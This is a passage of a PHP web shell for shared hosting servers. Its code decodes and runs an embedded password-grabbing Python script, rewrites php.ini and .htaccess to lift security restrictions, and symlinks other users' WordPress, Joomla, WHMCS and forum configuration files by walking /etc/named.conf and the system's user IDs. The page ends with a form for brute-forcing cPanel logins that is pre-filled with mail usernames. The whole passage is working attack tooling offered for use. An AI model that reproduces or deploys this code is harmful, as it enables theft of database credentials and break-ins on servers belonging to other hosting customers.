l9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="white">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="white">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
